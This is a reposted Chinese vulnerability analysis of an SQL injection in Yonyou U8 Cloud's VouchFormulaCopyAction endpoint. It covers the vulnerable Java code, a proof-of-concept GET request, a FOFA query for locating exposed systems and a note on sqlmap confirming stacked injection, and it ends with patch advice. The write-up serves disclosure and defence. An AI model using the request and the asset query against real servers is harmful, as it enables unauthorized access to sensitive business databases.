LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

用友U8 Cloud系统VouchFormulaCopyAction方法SQL注入漏洞分析

admin
2025年9月29日 10:16 本文热度 318

用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息

一、漏洞简介

用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息

二、影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

三、漏洞原理分析

首先看漏洞位于VouchFormulaCopyAction接口处,方法的完整路径为nc.ui.hbbb.innertrade.VouchFormulaCopyAction,因为是Action方法,所以是按照用友的ActionServlet方法调用的方法漏洞

VouchFormulaCopyAction中的关键execute方法完整代码如下

public ActionForward execute(ActionForm actionForm) {  
    VouchQueryForm form = (VouchQueryForm)actionForm;  
String[] strCopyUnitCodes = getListValues("selCopyUnitList");  
String[] strMeasPKs = getListValues("selItemList");  
String[] strCounterUnitPKs = getListValues("selUnitList");  
    VouchFormulaCondVO cond = new VouchFormulaCondVO();  
    cond.setSelfUnitCode(form.getSelfUnitPK());  
    cond.setItemCodes(strMeasPKs);  
    cond.setCounterUnitCodes(strCounterUnitPKs);  
try {  
      VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond);  
      ArrayList<VouchFormulaVO> vForm = new ArrayList();  
int i;  
for (i = 0; i < formulas.length; i++) {  
for (int j = 0; j < (formulas[i]).length; j++)  
          vForm.add(formulas[i][j]);   
      }   
for (i = 0; i < strCopyUnitCodes.length; i++) {  
if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) {  
for (int j = 0; j < vForm.size(); j++) {  
            VouchFormulaVO formula = vForm.get(j);  
            formula.setSelfUnitCode(strCopyUnitCodes[i]);  
          }   
          VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0]));  
        }   
      }   
    } catch (Exception e) {  
      AppDebug.debug(e);  
return (ActionForward)new ErrorForward(e.getMessage());  
    }   
return (ActionForward)new CloseForward("window_close();");  
  }

这里是有三个传参的,分别是selCopyUnitList、selItemList、selUnitList

可以反向定位一下,这些传参进了哪些方法当中,可以看到VouchFormulaCondVO中保存了上面的传参,再作为cond传入了getVouchFormulasByCond方法之中

那么去找这个方法,一通定位来到方法当中

这里面多个参数都有注入,所以我挑其中一个讲讲

StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?");  
bufSQL.append(" and counterunit_code in (");  
String[] strUnitPKs = cond.getCounterUnitCodes();  
for (int i = 0; i < strUnitPKs.length; i++) {  
bufSQL.append("'" + strUnitPKs[i] + "'");  
if (i < strUnitPKs.length - 1) {  
  bufSQL.append(",");  
else {  
  bufSQL.append(")");  
}   
}

这里cond的counterUnitCodes对应传参selUnitList

它用for循环将数组里面的字符串进行拼接,以and counterunit_code in (开头,最后再以)结尾闭合括号

因此很明显可以在数组里面传括号提前闭合,造成SQL注入漏洞

该漏洞的请求数据包如下

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

四、总结

用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息

五、资产测绘

FOFA语法

app="用友-U8-Cloud"

六、漏洞复现

POC

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

selUnitList参数存在注入,使用SQLMAP注入验证下,存在堆叠注入

七、修复建议

安装用友U8 Cloud最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的方法逻辑。

  转自:https://forum.butian.net/article/792


阅读原文:原文链接


该文章在 2025/9/30 10:27:50 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved